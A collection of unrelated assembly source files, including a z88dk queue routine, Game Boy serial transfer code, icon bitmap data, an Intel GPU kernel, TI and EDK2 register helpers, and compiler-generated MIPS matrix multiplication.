; =============================================================== ; Feb 2014 ; =============================================================== ; ; void *p_queue_front(p_queue_t *q) ; ; Return item at front of queue without removing it. ; ; =============================================================== SECTION code_clib SECTION code_adt_p_queue PUBLIC asm_p_queue_front EXTERN asm_p_forward_list_front defc asm_p_queue_front = asm_p_forward_list_front ; enter : hl = queue * ; ; exit : success ; ; hl = void *item (item at front) ; nz flag set ; ; fail if list is empty ; ; hl = 0 ; z flag set ; ; uses : af, hl
section "SIO Code", rom0 include "hardware.inc" ; ------------------------------ ; Set buffer and initiate transfer as slave ; ; Inputs: ; - a: Data to put in the buffer ; ------------------------------ sio_slave_transfer:: ld [rSB], a ld a, SCF_START ld [rSC], a ret ; ------------------------------ ; Set buffer and initiate transfer as master ; ; Inputs: ; - a: Data to put in the buffer ; ------------------------------ sio_master_transfer:: ld [rSB], a ld a, SCF_START | SCF_SOURCE ld [rSC], a ret ; ------------------------------ ; Busy wait / poll for transfer completion ; ------------------------------ sio_wait_transfer:: .loop ld a, [rSC] and SCF_START jr nz, .loop ret
; convpng v7.3 ; 8 bpp image _ico_text_size equ 258 _ico_text: db 16,16 db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh db 0FFh,0FFh,080h,080h,080h,080h,080h,080h,080h,080h,080h,080h,080h,080h,0FFh,0FFh db 0FFh,0FFh,080h,08Ah,08Ah,08Ah,08Ah,08Ah,08Ah,08Ah,08Ah,08Ah,08Ah,080h,0FFh,0FFh db 0FFh,0FFh,080h,08Ah,08Ah,08Ah,080h,080h,080h,080h,08Ah,08Ah,08Ah,080h,0FFh,0FFh db 0FFh,0FFh,080h,08Ah,08Ah,080h,080h,080h,080h,080h,080h,08Ah,08Ah,080h,0FFh,0FFh db 0FFh,0FFh,080h,08Ah,08Ah,080h,080h,080h,080h,080h,080h,08Ah,08Ah,080h,0FFh,0FFh db 0FFh,0FFh,080h,08Ah,080h,080h,080h,080h,080h,080h,080h,080h,08Ah,080h,0FFh,0FFh db 0FFh,0FFh,080h,08Ah,080h,080h,080h,080h,080h,080h,080h,080h,08Ah,080h,0FFh,0FFh db 0FFh,0FFh,080h,08Ah,080h,080h,080h,080h,080h,080h,080h,080h,08Ah,080h,0FFh,0FFh db 0FFh,0FFh,080h,08Ah,080h,080h,080h,080h,080h,080h,080h,080h,08Ah,080h,0FFh,0FFh db 0FFh,0FFh,080h,08Ah,08Ah,080h,080h,080h,080h,080h,080h,08Ah,08Ah,080h,0FFh,0FFh db 0FFh,0FFh,080h,08Ah,08Ah,095h,095h,095h,06Bh,080h,06Bh,095h,095h,095h,0FFh,0FFh db 0FFh,0FFh,080h,08Ah,08Ah,08Ah,095h,080h,080h,06Bh,08Ah,08Ah,095h,080h,0FFh,0FFh db 0FFh,0FFh,080h,08Ah,08Ah,08Ah,095h,08Ah,06Bh,08Ah,06Bh,08Ah,095h,080h,0FFh,0FFh db 0FFh,0FFh,080h,080h,080h,080h,095h,080h,06Bh,080h,06Bh,080h,095h,080h,0FFh,0FFh
/* * Copyright (c) 2017, Intel Corporation * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. */ L0: (W&~f0.1)jmpi L368 L16: add (1|M0) a0.0<1>:ud r23.5<0;1,0>:ud 0x50EB100:ud mov (1|M0) r16.2<1>:ud 0x0:ud mov (1|M0) r25.2<1>:f r10.2<0;1,0>:f mov (8|M0) r17.0<1>:ud r25.0<8;8,1>:ud send (1|M0) r112:uw r16:ub 0x2 a0.0 mov (16|M0) r13.0<1>:uw r112.0<16;16,1>:uw mov (16|M0) r12.0<1>:uw r113.0<16;16,1>:uw mov (16|M0) r112.0<1>:uw r116.0<16;16,1>:uw mov (16|M0) r113.0<1>:uw r117.0<16;16,1>:uw mov (16|M0) r116.0<1>:uw r13.0<16;16,1>:uw mov (16|M0) r117.0<1>:uw r12.0<16;16,1>:uw mov (16|M0) r13.0<1>:uw r120.0<16;16,1>:uw mov (16|M0) r12.0<1>:uw r121.0<16;16,1>:uw mov (16|M0) r120.0<1>:uw r124.0<16;16,1>:uw mov (16|M0) r121.0<1>:uw r125.0<16;16,1>:uw mov (16|M0) r124.0<1>:uw r13.0<16;16,1>:uw mov (16|M0) r125.0<1>:uw r12.0<16;16,1>:uw mov (1|M0) a0.8<1>:uw 0xE00:uw mov (1|M0) a0.9<1>:uw 0xE40:uw mov (1|M0) a0.10<1>:uw 0xE80:uw mov (1|M0) a0.11<1>:uw 0xEC0:uw add (4|M0) a0.12<1>:uw a0.8<4;4,1>:uw 0x100:uw L368: nop
; A176413: a(n) = 19*3^n. ; 19,57,171,513,1539,4617,13851,41553,124659,373977,1121931,3365793,10097379,30292137,90876411,272629233,817887699,2453663097,7360989291,22082967873,66248903619,198746710857,596240132571,1788720397713 mov $1,3 pow $1,$0 mul $1,19 mov $0,$1
;//########################################################################### ;// ;// FILE: F2837xD_DBGIER.asm ;// ;// TITLE: Set the DBGIER register ;// ;// DESCRIPTION: ;// ;// Function to set the DBGIER register (for realtime emulation). ;// Function Prototype: void SetDBGIER(Uint16) ;// Usage: SetDBGIER(value); ;// Input Parameters: Uint16 value = value to put in DBGIER register. ;// Return Value: none ;// ;//########################################################################### ;// $TI Release: F2837xD Support Library v3.05.00.00 $ ;// $Release Date: Tue Jun 26 03:15:23 CDT 2018 $ ;// $Copyright: ;// Copyright (C) 2013-2018 Texas Instruments Incorporated - http://www.ti.com/ ;// ;// Redistribution and use in source and binary forms, with or without ;// modification, are permitted provided that the following conditions ;// are met: ;// ;// Redistributions of source code must retain the above copyright ;// notice, this list of conditions and the following disclaimer. ;// ;// Redistributions in binary form must reproduce the above copyright ;// notice, this list of conditions and the following disclaimer in the ;// documentation and/or other materials provided with the ;// distribution. ;// ;// Neither the name of Texas Instruments Incorporated nor the names of ;// its contributors may be used to endorse or promote products derived ;// from this software without specific prior written permission. ;// ;// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ;// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ;// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ;// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT ;// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ;// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ;// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ;// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ;// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ;// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;// $ ;//########################################################################### .global _SetDBGIER .text _SetDBGIER: MOV *SP++,AL POP DBGIER LRETR ;// ;// End of file ;//
.data .text # * CALL (LABEL main1) jal main1 # * END li $v0, 10 syscall # ---------------------------- # | Original source | # ---------------------------- # * int main() { # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * LABEL (LABEL main1) main1: # * PROCENTRY (ICONS 68) (ICONS 0) subi $sp, $sp, 68 sw $ra, 60($sp) # ---------------------------- # | Original source | # ---------------------------- # * for (i = 0; i < 2; i++) { # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * ASSIGN (ICONS 0) (ILocal 48) li $t0, 0 sw $t0, 48($sp) # * LABEL (LABEL LL00000) LL00000: # * LT (ILocal 48) (ICONS 2) (ITemp 0) lw $s0, 48($sp) li $t0, 2 slt $t0, $s0, $t0 # * BREQ (ITemp 0) (ICONS 0) (LABEL LL00001) li $t1, 0 beq $t0, $t1, LL00001 # ---------------------------- # | Original source | # ---------------------------- # * for (j = 0; j < 2; j++) { a[i][j] = readInt(); } # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * ASSIGN (ICONS 0) (ILocal 52) li $t0, 0 sw $t0, 52($sp) # * LABEL (LABEL LL00002) LL00002: # * LT (ILocal 52) (ICONS 2) (ITemp 1) lw $s0, 52($sp) li $t0, 2 slt $t0, $s0, $t0 # * BREQ (ITemp 1) (ICONS 0) (LABEL LL00003) li $t1, 0 beq $t0, $t1, LL00003 # * CALL (LABEL readInt1) sw $s0, 52($sp) jal readInt1 # * MULT (ILocal 48) (ICONS 8) (ITemp 2) lw $s0, 48($sp) li $t0, 8 mul $t0, $s0, $t0 # * MULT (ILocal 52) (ICONS 4) (ITemp 3) lw $s1, 52($sp) li $t1, 4 mul $t1, $s1, $t1 # * ADD (ITemp 2) (ITemp 3) (ITemp 4) add $t0, $t0, $t1 # * ADD (ICONS 0) (ITemp 4) (ITemp 5) li $t1, 0 add $t0, $t1, $t0 # * OFFSET (ITemp 5) add $t0, $t0, $sp # * ASSIGN (PTR -4) (IINDR 5) lw $t1, -4($sp) lw $t1, ($t1) move $t1, $t1 sw $t1, ($t0) # * ADD (ILocal 52) (ICONS 1) (ILocal 52) li $t0, 1 add $s1, $s1, $t0 sw $s1, 52($sp) # ---------------------------- # | Original source | # ---------------------------- # * } # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * BR (LABEL LL00002) b LL00002 # ---------------------------- # | Original source | # ---------------------------- # * # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * LABEL (LABEL LL00003) LL00003: # ---------------------------- # | Original source | # ---------------------------- # * for (i = 0; i < 2; i++) { # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * ADD (ILocal 48) (ICONS 1) (ILocal 48) lw $s0, 48($sp) li $t0, 1 add $s0, $s0, $t0 sw $s0, 48($sp) # ---------------------------- # | Original source | # ---------------------------- # * } # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * BR (LABEL LL00000) b LL00000 # ---------------------------- # | Original source | # ---------------------------- # * # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * LABEL (LABEL LL00001) LL00001: # ---------------------------- # | Original source | # ---------------------------- # * printChar((char) 10); # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * ASSIGN (ICONS 10) (ILocal -12) li $t0, 10 sw $t0, -12($sp) # * CALL (LABEL printChar1) jal printChar1 # ---------------------------- # | Original source | # ---------------------------- # * for (i = 0; i < 2; i++) { # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * ASSIGN (ICONS 0) (ILocal 48) li $t0, 0 sw $t0, 48($sp) # * LABEL (LABEL LL00004) LL00004: # * LT (ILocal 48) (ICONS 2) (ITemp 6) lw $s0, 48($sp) li $t0, 2 slt $t0, $s0, $t0 # * BREQ (ITemp 6) (ICONS 0) (LABEL LL00005) li $t1, 0 beq $t0, $t1, LL00005 # ---------------------------- # | Original source | # ---------------------------- # * for (j = 0; j < 2; j++) { b[i][j] = readInt(); } # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * ASSIGN (ICONS 0) (ILocal 52) li $t0, 0 sw $t0, 52($sp) # * LABEL (LABEL LL00006) LL00006: # * LT (ILocal 52) (ICONS 2) (ITemp 7) lw $s0, 52($sp) li $t0, 2 slt $t0, $s0, $t0 # * BREQ (ITemp 7) (ICONS 0) (LABEL LL00007) li $t1, 0 beq $t0, $t1, LL00007 # * CALL (LABEL readInt1) sw $s0, 52($sp) jal readInt1 # * MULT (ILocal 48) (ICONS 8) (ITemp 8) lw $s0, 48($sp) li $t0, 8 mul $t0, $s0, $t0 # * MULT (ILocal 52) (ICONS 4) (ITemp 9) lw $s1, 52($sp) li $t1, 4 mul $t1, $s1, $t1 # * ADD (ITemp 8) (ITemp 9) (ITemp 10) add $t0, $t0, $t1 # * ADD (ICONS 16) (ITemp 10) (ITemp 11) li $t1, 16 add $t0, $t1, $t0 # * OFFSET (ITemp 11) add $t0, $t0, $sp # * ASSIGN (PTR -4) (IINDR 11) lw $t1, -4($sp) lw $t1, ($t1) move $t1, $t1 sw $t1, ($t0) # * ADD (ILocal 52) (ICONS 1) (ILocal 52) li $t0, 1 add $s1, $s1, $t0 sw $s1, 52($sp) # ---------------------------- # | Original source | # ---------------------------- # * } # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * BR (LABEL LL00006) b LL00006 # ---------------------------- # | Original source | # ---------------------------- # * # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * LABEL (LABEL LL00007) LL00007: # ---------------------------- # | Original source | # ---------------------------- # * for (i = 0; i < 2; i++) { # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * ADD (ILocal 48) (ICONS 1) (ILocal 48) lw $s0, 48($sp) li $t0, 1 add $s0, $s0, $t0 sw $s0, 48($sp) # ---------------------------- # | Original source | # ---------------------------- # * } # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * BR (LABEL LL00004) b LL00004 # ---------------------------- # | Original source | # ---------------------------- # * # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * LABEL (LABEL LL00005) LL00005: # ---------------------------- # | Original source | # ---------------------------- # * for (i = 0; i < 2; i++) { # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * ASSIGN (ICONS 0) (ILocal 48) li $t0, 0 sw $t0, 48($sp) # * LABEL (LABEL LL00008) LL00008: # * LT (ILocal 48) (ICONS 2) (ITemp 12) lw $s0, 48($sp) li $t0, 2 slt $t0, $s0, $t0 # * BREQ (ITemp 12) (ICONS 0) (LABEL LL00009) li $t1, 0 beq $t0, $t1, LL00009 # ---------------------------- # | Original source | # ---------------------------- # * for (j = 0; j < 2; j++) { c[i][j] = 0; } # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * ASSIGN (ICONS 0) (ILocal 52) li $t0, 0 sw $t0, 52($sp) # * LABEL (LABEL LL00010) LL00010: # * LT (ILocal 52) (ICONS 2) (ITemp 13) lw $s0, 52($sp) li $t0, 2 slt $t0, $s0, $t0 # * BREQ (ITemp 13) (ICONS 0) (LABEL LL00011) li $t1, 0 beq $t0, $t1, LL00011 # * MULT (ILocal 48) (ICONS 8) (ITemp 14) lw $s1, 48($sp) li $t0, 8 mul $t0, $s1, $t0 # * MULT (ILocal 52) (ICONS 4) (ITemp 15) li $t1, 4 mul $t1, $s0, $t1 # * ADD (ITemp 14) (ITemp 15) (ITemp 16) add $t0, $t0, $t1 # * ADD (ICONS 32) (ITemp 16) (ITemp 17) li $t1, 32 add $t0, $t1, $t0 # * OFFSET (ITemp 17) add $t0, $t0, $sp # * ASSIGN (ICONS 0) (IINDR 17) li $t1, 0 move $t1, $t1 sw $t1, ($t0) # * ADD (ILocal 52) (ICONS 1) (ILocal 52) li $t0, 1 add $s0, $s0, $t0 sw $s0, 52($sp) # ---------------------------- # | Original source | # ---------------------------- # * } # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * BR (LABEL LL00010) b LL00010 # ---------------------------- # | Original source | # ---------------------------- # * # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * LABEL (LABEL LL00011) LL00011: # ---------------------------- # | Original source | # ---------------------------- # * for (i = 0; i < 2; i++) { # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * ADD (ILocal 48) (ICONS 1) (ILocal 48) lw $s0, 48($sp) li $t0, 1 add $s0, $s0, $t0 sw $s0, 48($sp) # ---------------------------- # | Original source | # ---------------------------- # * } # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * BR (LABEL LL00008) b LL00008 # ---------------------------- # | Original source | # ---------------------------- # * # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * LABEL (LABEL LL00009) LL00009: # ---------------------------- # | Original source | # ---------------------------- # * for (i = 0; i < 2; i++) { # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * ASSIGN (ICONS 0) (ILocal 48) li $t0, 0 sw $t0, 48($sp) # * LABEL (LABEL LL00012) LL00012: # * LT (ILocal 48) (ICONS 2) (ITemp 18) lw $s0, 48($sp) li $t0, 2 slt $t0, $s0, $t0 # * BREQ (ITemp 18) (ICONS 0) (LABEL LL00013) li $t1, 0 beq $t0, $t1, LL00013 # ---------------------------- # | Original source | # ---------------------------- # * for (j = 0; j < 2; j++) { # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * ASSIGN (ICONS 0) (ILocal 52) li $t0, 0 sw $t0, 52($sp) # * LABEL (LABEL LL00014) LL00014: # * LT (ILocal 52) (ICONS 2) (ITemp 19) lw $s0, 52($sp) li $t0, 2 slt $t0, $s0, $t0 # * BREQ (ITemp 19) (ICONS 0) (LABEL LL00015) li $t1, 0 beq $t0, $t1, LL00015 # ---------------------------- # | Original source | # ---------------------------- # * for (k = 0; k < 2; k++) { c[i][j] += a[i][k] * b[k][j]; } # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * ASSIGN (ICONS 0) (ILocal 56) li $t0, 0 sw $t0, 56($sp) # * LABEL (LABEL LL00016) LL00016: # * LT (ILocal 56) (ICONS 2) (ITemp 20) lw $s0, 56($sp) li $t0, 2 slt $t0, $s0, $t0 # * BREQ (ITemp 20) (ICONS 0) (LABEL LL00017) li $t1, 0 beq $t0, $t1, LL00017 # * MULT (ILocal 48) (ICONS 8) (ITemp 21) lw $s1, 48($sp) li $t0, 8 mul $t0, $s1, $t0 # * MULT (ILocal 52) (ICONS 4) (ITemp 22) lw $s2, 52($sp) li $t1, 4 mul $t1, $s2, $t1 # * ADD (ITemp 21) (ITemp 22) (ITemp 23) add $t0, $t0, $t1 # * ADD (ICONS 32) (ITemp 23) (ITemp 24) li $t1, 32 add $t0, $t1, $t0 # * OFFSET (ITemp 24) add $t0, $t0, $sp # * MULT (ILocal 48) (ICONS 8) (ITemp 25) li $t1, 8 mul $t1, $s1, $t1 # * MULT (ILocal 56) (ICONS 4) (ITemp 26) li $t2, 4 mul $t2, $s0, $t2 # * ADD (ITemp 25) (ITemp 26) (ITemp 27) add $t1, $t1, $t2 # * ADD (ICONS 0) (ITemp 27) (ITemp 28) li $t2, 0 add $t1, $t2, $t1 # * OFFSET (ITemp 28) add $t1, $t1, $sp # * MULT (ILocal 56) (ICONS 8) (ITemp 29) li $t2, 8 mul $t2, $s0, $t2 # * MULT (ILocal 52) (ICONS 4) (ITemp 30) li $t3, 4 mul $t3, $s2, $t3 # * ADD (ITemp 29) (ITemp 30) (ITemp 31) add $t2, $t2, $t3 # * ADD (ICONS 16) (ITemp 31) (ITemp 32) li $t3, 16 add $t2, $t3, $t2 # * OFFSET (ITemp 32) add $t2, $t2, $sp # * MULT (IINDR 28) (IINDR 32) (ITemp 33) lw $t3, ($t1) lw $t4, ($t2) mul $t3, $t3, $t4 # * ADD (IINDR 24) (ITemp 33) (IINDR 24) lw $t4, ($t0) add $t3, $t4, $t3 sw $t3, ($t0) # * ADD (ILocal 56) (ICONS 1) (ILocal 56) li $t0, 1 add $s0, $s0, $t0 sw $s0, 56($sp) # ---------------------------- # | Original source | # ---------------------------- # * } # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * BR (LABEL LL00016) b LL00016 # ---------------------------- # | Original source | # ---------------------------- # * # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * LABEL (LABEL LL00017) LL00017: # ---------------------------- # | Original source | # ---------------------------- # * for (j = 0; j < 2; j++) { # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * ADD (ILocal 52) (ICONS 1) (ILocal 52) lw $s0, 52($sp) li $t0, 1 add $s0, $s0, $t0 sw $s0, 52($sp) # ---------------------------- # | Original source | # ---------------------------- # * } # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * BR (LABEL LL00014) b LL00014 # ---------------------------- # | Original source | # ---------------------------- # * # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * LABEL (LABEL LL00015) LL00015: # ---------------------------- # | Original source | # ---------------------------- # * for (i = 0; i < 2; i++) { # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * ADD (ILocal 48) (ICONS 1) (ILocal 48) lw $s0, 48($sp) li $t0, 1 add $s0, $s0, $t0 sw $s0, 48($sp) # ---------------------------- # | Original source | # ---------------------------- # * } # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * BR (LABEL LL00012) b LL00012 # ---------------------------- # | Original source | # ---------------------------- # * # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * LABEL (LABEL LL00013) LL00013: # ---------------------------- # | Original source | # ---------------------------- # * for (i = 0; i < 2; i++) { # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * ASSIGN (ICONS 0) (ILocal 48) li $t0, 0 sw $t0, 48($sp) # * LABEL (LABEL LL00018) LL00018: # * LT (ILocal 48) (ICONS 2) (ITemp 34) lw $s0, 48($sp) li $t0, 2 slt $t0, $s0, $t0 # * BREQ (ITemp 34) (ICONS 0) (LABEL LL00019) li $t1, 0 beq $t0, $t1, LL00019 # ---------------------------- # | Original source | # ---------------------------- # * for (j = 0; j < 2; j++) { # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * ASSIGN (ICONS 0) (ILocal 52) li $t0, 0 sw $t0, 52($sp) # * LABEL (LABEL LL00020) LL00020: # * LT (ILocal 52) (ICONS 2) (ITemp 35) lw $s0, 52($sp) li $t0, 2 slt $t0, $s0, $t0 # * BREQ (ITemp 35) (ICONS 0) (LABEL LL00021) li $t1, 0 beq $t0, $t1, LL00021 # ---------------------------- # | Original source | # ---------------------------- # * printInt(c[i][j]); # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * MULT (ILocal 48) (ICONS 8) (ITemp 36) lw $s1, 48($sp) li $t0, 8 mul $t0, $s1, $t0 # * MULT (ILocal 52) (ICONS 4) (ITemp 37) li $t1, 4 mul $t1, $s0, $t1 # * ADD (ITemp 36) (ITemp 37) (ITemp 38) add $t0, $t0, $t1 # * ADD (ICONS 32) (ITemp 38) (ITemp 39) li $t1, 32 add $t0, $t1, $t0 # * OFFSET (ITemp 39) add $t0, $t0, $sp # * ASSIGN (IINDR 39) (ILocal -12) lw $t1, ($t0) sw $t1, -12($sp) # * CALL (LABEL printInt1) sw $s0, 52($sp) sw $s1, 48($sp) jal printInt1 # ---------------------------- # | Original source | # ---------------------------- # * printChar((char) 9); # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * ASSIGN (ICONS 9) (ILocal -12) li $t0, 9 sw $t0, -12($sp) # * CALL (LABEL printChar1) jal printChar1 # ---------------------------- # | Original source | # ---------------------------- # * for (j = 0; j < 2; j++) { # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * ADD (ILocal 52) (ICONS 1) (ILocal 52) lw $s0, 52($sp) li $t0, 1 add $s0, $s0, $t0 sw $s0, 52($sp) # ---------------------------- # | Original source | # ---------------------------- # * } # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * BR (LABEL LL00020) b LL00020 # ---------------------------- # | Original source | # ---------------------------- # * # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * LABEL (LABEL LL00021) LL00021: # ---------------------------- # | Original source | # ---------------------------- # * printChar((char) 10); # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * ASSIGN (ICONS 10) (ILocal -12) li $t0, 10 sw $t0, -12($sp) # * CALL (LABEL printChar1) jal printChar1 # ---------------------------- # | Original source | # ---------------------------- # * for (i = 0; i < 2; i++) { # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * ADD (ILocal 48) (ICONS 1) (ILocal 48) lw $s0, 48($sp) li $t0, 1 add $s0, $s0, $t0 sw $s0, 48($sp) # ---------------------------- # | Original source | # ---------------------------- # * } # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * BR (LABEL LL00018) b LL00018 # ---------------------------- # | Original source | # ---------------------------- # * # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * LABEL (LABEL LL00019) LL00019: # ---------------------------- # | Original source | # ---------------------------- # * } # ---------------------------- # | 3 Address Code | # ---------------------------- # | op op1 op2 dest # | ----------------- ----------------- ----------------- ------------------ # * RETURN (ICONS 60) (ICONS 68) lw $ra, 60($sp) add $sp, $sp, 68 jr $ra printInt1: lw $a0, -12($sp) # li $v0, 1 syscall jr $ra # jump to $ra printFloat1: s.s $f12, -16($sp) # Store $f12 just in case we're using it l.s $f12, -12($sp) # Load output li $v0, 2 syscall l.s $f12, -16($sp) # Then restore $f12 if it was used jr $ra # jump to $ra # TODO: printString1 printChar1: lw $a0, -12($sp) # li $v0, 11 syscall jr $ra # jump to $ra readInt1: li $v0, 5 syscall sw $v0, -8($sp) add $v0, $sp, -8 sw $v0, -4($sp) jr $ra readFloat1: s.s $f0, -12($sp) # Store $f0 just in case we're using it li $v0, 6 syscall s.s $f0, -8($sp) add $v0, $sp, -8 sw $v0, -4($sp) l.s $f0, -12($sp) jr $ra # TODO: readString1 readChar1: li $v0, 12 syscall sw $v0, -4($sp) jr $ra
;------------------------------------------------------------------------------ ; ; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR> ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ; Module Name: ; ; ReadDr0.Asm ; ; Abstract: ; ; AsmReadDr0 function ; ; Notes: ; ;------------------------------------------------------------------------------ .586p .model flat,C .code ;------------------------------------------------------------------------------ ; UINTN ; EFIAPI ; AsmReadDr0 ( ; VOID ; ); ;------------------------------------------------------------------------------ AsmReadDr0 PROC mov eax, dr0 ret AsmReadDr0 ENDP END
